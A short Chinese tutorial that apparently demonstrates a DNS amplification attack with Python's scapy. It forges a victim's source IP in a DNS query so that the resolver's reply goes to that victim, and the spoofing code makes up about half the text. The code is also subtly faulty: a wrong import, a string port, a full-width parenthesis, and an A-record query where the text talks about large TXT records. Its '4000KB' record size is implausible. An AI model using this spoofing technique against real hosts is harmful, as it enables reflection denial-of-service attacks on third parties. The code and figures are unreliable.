用scapy類比DNS放大攻擊

首先，DNS放大攻擊，簡單解釋有兩點：

1.偽造源IP為其他人的ip地址

2.被請求的記錄，要求比較大，比如TXT格式，4000KB

 

在A機器上，向DNS發送查詢那個TXT的記錄，並偽造成別人的ip，即可理解為DNS放大攻擊。

可以用python的scapy類比：

from scapy import *

a = IP(dst='10.32.8.11',src='10.32.132.85')     #10.32.132.85即為偽造的源ip

b = UDP(dport='53')

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0）

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

類比結束。

在10.32.132.85上抓dns的包，就會收到一條DNS響應，是10.32.8.11發來的。